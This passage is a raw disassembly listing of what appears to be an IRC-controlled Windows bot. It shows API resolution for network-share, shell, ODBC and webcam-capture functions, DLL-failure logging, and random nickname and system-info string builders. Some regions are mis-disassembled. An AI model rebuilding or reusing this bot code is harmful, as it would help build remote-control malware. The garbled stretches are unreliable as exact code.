"WNetAddConnection2W" push edi mov dword_4CBA7C, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CBA74, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CBA3C, eax call esi cmp dword_4CBA7C, ebx mov dword_4CB90C, eax jz short loc_40A481 cmp dword_4CBA74, ebx jz short loc_40A481 cmp dword_4CBA3C, ebx jz short loc_40A481 cmp eax, ebx jnz short loc_40A48B jmp short loc_40A481 ; --------------------------------------------------------------------------- loc_40A476: ; CODE XREF: sub_409909+B19j nop call near ptr 26908B8h mov dword_4CBAE8, eax loc_40A481: ; CODE XREF: sub_409909+B55j ; sub_409909+B5Dj ... mov dword_4CBAE4, 1 loc_40A48B: ; CODE XREF: sub_409909+B69j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A4C0 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CB940, eax call esi cmp dword_4CB940, ebx mov dword_4CBA48, eax jz short loc_40A4CB cmp eax, ebx jnz short loc_40A4D5 jmp short loc_40A4CB ; --------------------------------------------------------------------------- loc_40A4C0: ; CODE XREF: sub_409909+B8Dj nop call near ptr 26908B8h mov dword_4CBAF0, eax loc_40A4CB: ; CODE XREF: sub_409909+BAFj ; sub_409909+BB5j mov dword_4CBAEC, 1 loc_40A4D5: ; CODE XREF: sub_409909+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A55E push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CBA10, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CBA5C, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CB998, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CB950, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CB9F0, eax call esi cmp dword_4CBA10, ebx mov dword_4CB960, eax jz short loc_40A569 cmp dword_4CBA5C, ebx jz short loc_40A569 cmp dword_4CB998, ebx jz short loc_40A569 cmp dword_4CB950, ebx jz short loc_40A569 cmp dword_4CB9F0, ebx jz short loc_40A569 cmp eax, ebx jnz short loc_40A573 jmp short loc_40A569 ; --------------------------------------------------------------------------- loc_40A55E: ; CODE XREF: sub_409909+BD7j nop call near ptr 26908B8h mov dword_4CBAF8, eax loc_40A569: ; CODE XREF: sub_409909+C2Dj ; sub_409909+C35j ... mov dword_4CBAF4, 1 loc_40A573: ; CODE XREF: sub_409909+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A5A8 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CB924, eax call esi cmp dword_4CB924, ebx mov dword_4CBA04, eax jz short loc_40A5B3 cmp eax, ebx jnz short loc_40A5BD jmp short loc_40A5B3 ; --------------------------------------------------------------------------- loc_40A5A8: ; CODE XREF: sub_409909+C75j nop call near ptr 26908B8h mov dword_4CBB00, eax loc_40A5B3: ; CODE XREF: sub_409909+C97j ; sub_409909+C9Dj mov dword_4CBAFC, 1 loc_40A5BD: ; CODE XREF: sub_409909+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409909 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5C5 proc near ; CODE XREF: sub_401ACD+2511p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4CBA94, esi push edi mov edi, [ebp+arg_8] jz short loc_40A60D push dword_4CBA98 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A60D: ; CODE XREF: sub_40A5C5+1Aj cmp dword_4CBA9C, esi jz short loc_40A641 push dword_4CBAA0 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A641: ; CODE XREF: sub_40A5C5+4Ej cmp dword_4CBAA4, esi jz short loc_40A675 push dword_4CBAA8 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A675: ; CODE XREF: sub_40A5C5+82j cmp dword_4CBAAC, esi jz short loc_40A6A9 push dword_4CBAB0 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A6A9: ; CODE XREF: sub_40A5C5+B6j cmp dword_4CBAB4, esi jz short loc_40A6DD push dword_4CBAB8 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A6DD: ; CODE XREF: sub_40A5C5+EAj cmp dword_4CBABC, esi jz short loc_40A711 push dword_4CBAC0 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A711: ; CODE XREF: sub_40A5C5+11Ej cmp dword_4CBAC4, esi jz short loc_40A745 push dword_4CBAC8 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A745: ; CODE XREF: sub_40A5C5+152j cmp dword_4CBACC, esi jz short loc_40A779 push dword_4CBAD0 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A779: ; CODE XREF: sub_40A5C5+186j cmp dword_4CBAD4, esi jz short loc_40A7AD push dword_4CBAD8 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A7AD: ; CODE XREF: sub_40A5C5+1BAj cmp dword_4CBADC, esi jz short loc_40A7E1 push dword_4CBAE0 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A7E1: ; CODE XREF: sub_40A5C5+1EEj cmp dword_4CBAE4, esi jz short loc_40A815 push dword_4CBAE8 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A815: ; CODE XREF: sub_40A5C5+222j cmp dword_4CBAEC, esi jz short loc_40A849 push dword_4CBAF0 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A849: ; CODE XREF: sub_40A5C5+256j cmp dword_4CBAF4, esi jz short loc_40A87D push dword_4CBAF8 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A87D: ; CODE XREF: sub_40A5C5+28Aj cmp dword_4CBAFC, esi jz short loc_40A8B1 push dword_4CBB00 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax loc_40A897: ; DATA XREF: ___:0043320Co ; ___:00433250o ... call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A8B1: ; CODE XREF: sub_40A5C5+2BEj lea eax, [ebp+var_200] push offset unk_42D6C4 push eax call sub_41C266 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40A8DE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 14h loc_40A8DE: ; CODE XREF: sub_40A5C5+302j lea eax, [ebp+var_200] push eax call sub_415D38 pop ecx pop edi pop esi pop ebx leave retn sub_40A5C5 endp ; =============== S U B R O U T I N E ======================================= sub_40A8F0 proc near ; CODE XREF: sub_4017ED+4Fp ; sub_401ACD+5BC5p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CBA14 cmp eax, 0FFFFFFFFh jnz short locret_40A918 push [esp+arg_0] call dword_4CBA58 test eax, eax jnz short loc_40A911 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40A911: ; CODE XREF: sub_40A8F0+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40A918: ; CODE XREF: sub_40A8F0+Dj retn sub_40A8F0 endp ; =============== S U B R O U T I N E ======================================= sub_40A919 proc near ; CODE XREF: sub_4017ED+D6p mov ecx, dword_4CB8F0 xor eax, eax test ecx, ecx jz short locret_40A927 call ecx locret_40A927: ; CODE XREF: sub_40A919+Aj retn sub_40A919 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A928 proc near ; CODE XREF: sub_401ACD:loc_403F03p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4CBA50 mov ecx, eax sub ecx, edi jz loc_40A9EE sub ecx, 32h jz loc_40A9E7 sub ecx, 48h jz short loc_40A988 sub ecx, 6Eh jz short loc_40A981 loc_40A96A: ; CODE XREF: sub_40A928+8Bj push eax lea eax, [ebp+var_88] push offset unk_42D8D8 push eax call sub_41C266 add esp, 0Ch jmp short loc_40A9C8 ; --------------------------------------------------------------------------- loc_40A981: ; CODE XREF: sub_40A928+40j push offset unk_42D8B4 jmp short loc_40A9BA ; --------------------------------------------------------------------------- loc_40A988: ; CODE XREF: sub_40A928+3Bj push [ebp+var_8] call sub_41BEB5 push [ebp+var_8] mov esi, eax push edi push esi call sub_41BF70 add esp, 10h cmp esi, edi jz short loc_40A9B5 lea eax, [ebp+var_8] push ebx push eax push esi call dword_4CBA50 cmp eax, edi jz short loc_40A9EE jmp short loc_40A96A ; --------------------------------------------------------------------------- loc_40A9B5: ; CODE XREF: sub_40A928+79j push offset unk_42D884 loc_40A9BA: ; CODE XREF: sub_40A928+5Ej ; sub_40A928+C4j lea eax, [ebp+var_88] push eax call sub_41C266 pop ecx pop ecx loc_40A9C8: ; CODE XREF: sub_40A928+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_415D38 pop ecx loc_40A9D8: ; CODE XREF: sub_40A928+C8j ; sub_40A928+DCj push esi call sub_41BA91 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40A9E7: ; CODE XREF: sub_40A928+32j push offset unk_42D854 jmp short loc_40A9BA ; --------------------------------------------------------------------------- loc_40A9EE: ; CODE XREF: sub_40A928+29j ; sub_40A928+89j cmp [esi], edi jbe short loc_40A9D8 lea ebx, [esi+4] loc_40A9F5: ; CODE XREF: sub_40A928+DAj push ebx call dword_4CBA4C inc edi add ebx, 18h cmp edi, [esi] jb short loc_40A9F5 jmp short loc_40A9D8 sub_40A928 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA06 proc near ; CODE XREF: sub_401ACD+21EDp ; sub_401ACD+233Ep ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4CB978 movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CBB04 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41C266 add esp, 18h mov eax, esi pop esi leave retn sub_40AA06 endp ; =============== S U B R O U T I N E ======================================= sub_40AA5F proc near ; CODE XREF: sub_413694+24Cp ; sub_413694+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AA88 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AA7B: ; CODE XREF: sub_40AA5F+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AA7B pop edi jmp short loc_40AA8C ; --------------------------------------------------------------------------- loc_40AA88: ; CODE XREF: sub_40AA5F+Aj mov edx, [esp+4+arg_0] loc_40AA8C: ; CODE XREF: sub_40AA5F+27j test esi, esi pop esi jz short loc_40AA96 movzx ecx, byte ptr [edx] add eax, ecx loc_40AA96: ; CODE XREF: sub_40AA5F+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AA5F endp ; =============== S U B R O U T I N E ======================================= sub_40AAAC proc near ; CODE XREF: sub_40AE84+49p ; DATA XREF: ___:off_42D920o arg_0 = dword ptr 4 push esi push edi nop call near ptr 26A0891h push eax call sub_41C2B8 pop ecx call sub_41C2C2 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+arg_0] push off_42D99C[edx*4] push offset aS_1 ; "%s" push 1Ch push edi call sub_41C360 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AB14 loc_40AAEE: ; CODE XREF: sub_40AAAC+66j call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AAEE loc_40AB14: ; CODE XREF: sub_40AAAC+40j mov eax, edi pop edi pop esi retn sub_40AAAC endp ; --------------------------------------------------------------------------- db 56h, 57h, 0E8h ; --------------------------------------------------------------------------- jno short loc_40AB7B sub [edx], eax nop push eax call sub_41C2B8 mov edi, [esp+10h] mov dword ptr [esp], offset asc_429138 ; "-" push offset aS_1 ; "%s" push 1Ch push edi call sub_41C360 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AB72 loc_40AB4C: ; CODE XREF: ___:0040AB70j call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AB4C loc_40AB72: ; CODE XREF: ___:0040AB4Aj mov eax, edi pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AB77 proc near ; CODE XREF: sub_401ACD+68EEp arg_0 = dword ptr 4 push ebx push esi push edi nop loc_40AB7B: ; CODE XREF: ___:0040AB1Cj call near ptr 26A0891h push eax call sub_41C2B8 pop ecx call sub_41C2C2 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40ABBA loc_40ABA4: ; CODE XREF: sub_40AB77+41j call sub_41C2C2 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ABA4 loc_40ABBA: ; CODE XREF: sub_40AB77+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AB77 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h nop call near ptr 26A0891h push eax call sub_41C2B8 pop ecx lea eax, [ebp-8] mov esi, offset byte_4315F4 push eax push esi nop call near ptr 26D0000h movsx eax, byte_4315F4 push 41h pop ecx push 1 pop edx loc_40AC00: ; CODE XREF: ___:0040AC0Bj cmp eax, ecx jnz short loc_40AC07 mov [ebp-4], edx loc_40AC07: ; CODE XREF: ___:0040AC02j inc ecx cmp ecx, 5Bh jl short loc_40AC00 push 61h pop ecx loc_40AC10: ; CODE XREF: ___:0040AC1Bj cmp eax, ecx jnz short loc_40AC17 mov [ebp-4], edx loc_40AC17: ; CODE XREF: ___:0040AC12j inc ecx cmp ecx, 7Bh jl short loc_40AC10 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41C360 xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40AC5C loc_40AC36: ; CODE XREF: ___:0040AC5Aj call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AC36 loc_40AC5C: ; CODE XREF: ___:0040AC34j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call near ptr 26A0891h nop push eax call sub_41C2B8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h nop call near ptr 26E0000h mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_4315F8 push 1Ch push edi call sub_41C360 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40ACD1 loc_40ACAB: ; CODE XREF: ___:0040ACCFj call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACAB loc_40ACD1: ; CODE XREF: ___:0040ACA9j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_43DB88 mov dword ptr [ebp-94h], 94h call near ptr 26E05F4h nop call near ptr 26A0891h nop push eax call sub_41C2B8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AD5B cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AD3B cmp dword ptr [ebp-84h], 1 jnz short loc_40AD2B mov esi, offset dword_431620 loc_40AD2B: ; CODE XREF: ___:0040AD24j cmp dword ptr [ebp-84h], 2 jnz short loc_40AD97 mov esi, offset dword_43161C jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD3B: ; CODE XREF: ___:0040AD1Bj cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AD4B mov esi, offset dword_431618 jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD4B: ; CODE XREF: ___:0040AD42j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AD92 mov esi, offset dword_431614 jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD5B: ; CODE XREF: ___:0040AD12j cmp dword ptr [ebp-90h], 5 jnz short loc_40AD92 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AD74 mov esi, offset dword_431610 jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD74: ; CODE XREF: ___:0040AD6Bj cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AD84 mov esi, offset dword_43160C jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD84: ; CODE XREF: ___:0040AD7Bj cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_431608 jz short loc_40AD97 loc_40AD92: ; CODE XREF: ___:0040AD52j ; ___:0040AD62j mov esi, offset dword_431604 loc_40AD97: ; CODE XREF: ___:0040AD32j ; ___:0040AD39j ... mov edi, [ebp+8] push esi push offset dword_4315FC push 1Ch push edi call sub_41C360 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40ADDB loc_40ADB5: ; CODE XREF: ___:0040ADD9j call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ADB5 loc_40ADDB: ; CODE XREF: ___:0040ADB3j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ADE1 proc near ; CODE XREF: sub_40AE84+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi nop call near ptr 26A0891h xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40AE30 call dword_4CB9E0 test eax, eax mov eax, offset off_43162C jnz short loc_40AE19 mov eax, offset byte_43DB88 loc_40AE19: ; CODE XREF: sub_40ADE1+31j push eax push esi push offset dword_431624 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41C360 add esp, 14h jmp short loc_40AE50 ; --------------------------------------------------------------------------- loc_40AE30: ; CODE XREF: sub_40ADE1+22j call dword_4CB9E0 test eax, eax mov eax, offset off_43162C jnz short loc_40AE44 mov eax, offset byte_43DB88 loc_40AE44: ; CODE XREF: sub_40ADE1+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41C266 pop ecx pop ecx loc_40AE50: ; CODE XREF: sub_40ADE1+4Dj lea eax, [ebp+var_1C] push eax call sub_41B9C0 pop ecx cmp eax, 2 pop esi jbe short loc_40AE7F push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41CBC0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41BFD0 add esp, 18h loc_40AE7F: ; CODE XREF: sub_40ADE1+7Dj mov eax, [ebp+arg_0] leave retn sub_40ADE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE84 proc near ; CODE XREF: sub_4017ED+7Fp ; sub_401955+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42D91C loc_40AE90: ; CODE XREF: sub_40AE84+3Fj cmp [ebp+arg_C], 0 jz short loc_40AEAB lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41CA50 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40AEB5 ; --------------------------------------------------------------------------- loc_40AEAB: ; CODE XREF: sub_40AE84+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40AEB5: ; CODE XREF: sub_40AE84+25j test eax, eax jnz short loc_40AEC7 add esi, 14h inc edi cmp esi, offset off_42D9A8 jb short loc_40AE90 jmp short loc_40AED5 ; --------------------------------------------------------------------------- loc_40AEC7: ; CODE XREF: sub_40AE84+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42D920[eax*4] pop ecx loc_40AED5: ; CODE XREF: sub_40AE84+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40AEE8 push [ebp+arg_0] call sub_40ADE1 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40AEE8: ; CODE XREF: sub_40AE84+57j mov eax, [ebp+arg_0] pop ebp retn sub_40AE84 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0B8h push ebx push esi lea eax, [ebp-0B8h] push edi push eax mov edi, offset byte_43DB88 mov dword ptr [ebp-0B8h], 94h call near ptr 26E05F4h nop cmp dword ptr [ebp-0B4h], 4 push 0Ah pop ebx jnz short loc_40AF67 cmp dword ptr [ebp-0B0h], 0 jnz short loc_40AF48 cmp dword ptr [ebp-0A8h], 1 jnz short loc_40AF38 mov edi, offset dword_431620 loc_40AF38: ; CODE XREF: ___:0040AF31j cmp dword ptr [ebp-0A8h], 2 jnz short loc_40AFA3 mov edi, offset dword_43161C jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF48: ; CODE XREF: ___:0040AF28j cmp [ebp-0B0h], ebx jnz short loc_40AF57 mov edi, offset dword_431618 jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF57: ; CODE XREF: ___:0040AF4Ej cmp dword ptr [ebp-0B0h], 5Ah jnz short loc_40AF9E mov edi, offset dword_431614 jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF67: ; CODE XREF: ___:0040AF1Fj cmp dword ptr [ebp-0B4h], 5 jnz short loc_40AF9E cmp dword ptr [ebp-0B0h], 0 jnz short loc_40AF80 mov edi, offset dword_431610 jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF80: ; CODE XREF: ___:0040AF77j cmp dword ptr [ebp-0B0h], 1 jnz short loc_40AF90 mov edi, offset dword_43160C jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF90: ; CODE XREF: ___:0040AF87j cmp dword ptr [ebp-0B0h], 2 mov edi, offset dword_431684 jz short loc_40AFA3 loc_40AF9E: ; CODE XREF: ___:0040AF5Ej ; ___:0040AF6Ej mov edi, offset dword_431680 loc_40AFA3: ; CODE XREF: ___:0040AF3Fj ; ___:0040AF46j ... lea eax, [ebp-0A4h] push offset word_4CB88C push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40AFC1 mov esi, offset dword_43167C jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40AFC1: ; CODE XREF: ___:0040AFB8j lea eax, [ebp-0A4h] push offset a1 ; "1" push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40AFDF mov esi, offset sub_431678 jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40AFDF: ; CODE XREF: ___:0040AFD6j lea eax, [ebp-0A4h] push offset dword_431674 push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40AFFD mov esi, offset dword_431670 jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40AFFD: ; CODE XREF: ___:0040AFF4j lea eax, [ebp-0A4h] push offset dword_43166C push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40B01B mov esi, offset dword_431668 jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40B01B: ; CODE XREF: ___:0040B012j lea eax, [ebp-0A4h] push offset dword_431664 push eax call sub_41C2E0 pop ecx mov esi, offset dword_431660 test eax, eax pop ecx jnz short loc_40B03C mov esi, offset off_43165C loc_40B03C: ; CODE XREF: ___:0040AFBFj ; ___:0040AFDDj ... lea eax, [ebp-0Ch] or dword ptr [ebp-4], 0FFFFFFFFh push eax or dword ptr [ebp-8], 0FFFFFFFFh or dword ptr [ebp-0Ch], 0FFFFFFFFh lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push offset aDdDhDm ; "%dd %dh %dm" push 0 call sub_41ADD8 pop ecx push eax call sub_41CCE3 mov eax, [ebp-4] add esp, 14h cmp eax, ebx jge short loc_40B086 push eax push offset a0D ; "0%d" lea eax, [ebp-18h] push ebx push eax call sub_41C360 add esp, 10h jmp short loc_40B0AA ; --------------------------------------------------------------------------- loc_40B086: ; CODE XREF: ___:0040B06Fj cmp eax, 64h jge short loc_40B098 lea ecx, [ebp-18h] push ebx push ecx push eax call sub_42635C jmp short loc_40B0A7 ; --------------------------------------------------------------------------- loc_40B098: ; CODE XREF: ___:0040B089j push offset a99 ; "99" lea eax, [ebp-18h] push ebx push eax call sub_41C360 loc_40B0A7: ; CODE XREF: ___:0040B096j add esp, 0Ch loc_40B0AA: ; CODE XREF: ___:0040B084j nop call near ptr 26A0891h push eax call sub_41C2B8 pop ecx lea eax, [ebp-24h] push ebx push eax push 7 push 800h call near ptr 26E0000h nop lea eax, [ebp-18h] push eax push esi lea eax, [ebp-24h] push edi mov edi, [ebp+8] push eax push offset aSSSS ; "%s|%s|%s|%s|" push 1Ch push edi call sub_41C360 xor esi, esi add esp, 1Ch cmp dword_429098, esi jle short loc_40B115 loc_40B0F0: ; CODE XREF: ___:0040B113j call sub_41C2C2 cdq mov ecx, ebx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40B0F0 loc_40B115: ; CODE XREF: ___:0040B0EEj mov eax, edi pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_40B11C proc near ; CODE XREF: sub_40B13C+Ap ; sub_40B214+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_41B9C0 push [esp+8+arg_4] mov esi, eax call sub_41B9C0 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_40B11C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B13C proc near ; CODE XREF: sub_40B22B+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 